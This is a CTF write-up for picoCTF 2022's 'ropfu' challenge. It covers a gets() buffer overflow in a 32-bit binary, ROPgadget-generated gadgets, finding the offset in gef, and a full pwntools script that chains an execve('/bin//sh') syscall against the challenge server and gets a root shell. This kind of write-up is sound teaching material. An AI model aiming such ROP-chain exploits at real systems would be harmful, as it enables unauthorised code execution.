pico22/pwn: ropfu
Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.
$ checksec vuln [*] '/home/kali/ctfs/pico22/ropfu/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments |
Hey, look: a classic “ROP” (return-oriented programming) challenge with the source code provided! Let’s take a look:
1 | void vuln() { char buf[16]; printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n"); return gets(buf); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } |
The source only provides us with one vulnerable function: gets(). I’ve gone over this extremely unsafe function multiple times now, so feel free to read MITRE’s Common Weakness Enumeration page if you don’t know why. There is also no convenient function with execve("/bin/sh", 0, 0) in it (for obvious reasons), so we will have to insert our own shellcode.
Although we could totally solve this the old-fashioned way (as John Hammond did in his writeup), we can use the power of automation with a tool called ROPgadget! Let’s try using it here to automatically build the ROP-chain for us, which will eventually lead to a syscall:
ROPgadget --binary vuln --ropchain ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret [+] Gadget found: 0x80b074a pop eax ; ret [+] Gadget found: 0x804fb90 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x804fb90 xor eax, eax ; ret [+] Gadget found: 0x808055e inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x8049022 pop ebx ; ret [+] Gadget found: 0x8049e39 pop ecx ; ret [+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x804a3d2 int 0x80 - Step 5 -- Build the ROP chain |
Oh, wow. It generated the entire script for us (unfortunately in Python2), with only a few missing bits and bobs! The only things we need to manually configure now are the offset and remote connection. Since the checksec mentioned that there was a canary enabled, it looks like we’ll have to manually guess the offset with the $eip:
gef➤ shell python3 -q >>> print('A'*28 + 'B'*4) AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB >>> gef➤ r Starting program: /home/kali/ctfs/pico22/ropfu/vuln How strong is your ROP-fu? Snatch the shell from my hand, grasshopper! AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd540 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB" $ebx : 0x41414141 ("AAAA"?) $ecx : 0x80e5300 → <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah $edx : 0xffffd560 → 0x80e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax] $esp : 0xffffd560 → 0x80e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax] $ebp : 0x41414141 ("AAAA"?) $esi : 0x80e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al $edi : 0x80e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al $eip : 0x42424242 ("BBBB"?) $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x42424242 ────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "vuln", stopped 0x42424242 in ?? (), reason: SIGSEGV |
The offset is 28, as we’ve successfully loaded 4 hex Bs into the $eip. Our last step is to set up the remote connection with pwntools. Here is my final script:
1 | #!/usr/bin/env python2 from pwn import * from struct import pack payload = 'A'*28 payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5060) # @ .data payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x080b074a) # pop eax ; ret payload += '/bin' payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5064) # @ .data + 4 payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x080b074a) # pop eax ; ret payload += '//sh' payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x08049022) # pop ebx ; ret payload += pack('<I', 0x080e5060) # @ .data payload += pack('<I', 0x08049e39) # pop ecx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x080e5060) # padding without overwrite ebx payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0804a3d2) # int 0x80 p = remote("saturn.picoctf.net", [PORT]) log.info(p.recvS()) p.sendline(payload) p.interactive() |
Let’s run the script:
$ python2 exp.pypython2 exp.py [+] Opening connection to saturn.picoctf.net on port 58931: Done [*] How strong is your ROP-fu? Snatch the shell from my hand, grasshopper! [*] Switching to interactive mode $ whoami root $ ls flag.txt vuln $ cat flag.txt picoCTF{5n47ch_7h3_5h311_[REDACTED]}$ |
I know the way of ROP-fu, old man. Your shell has been snatched.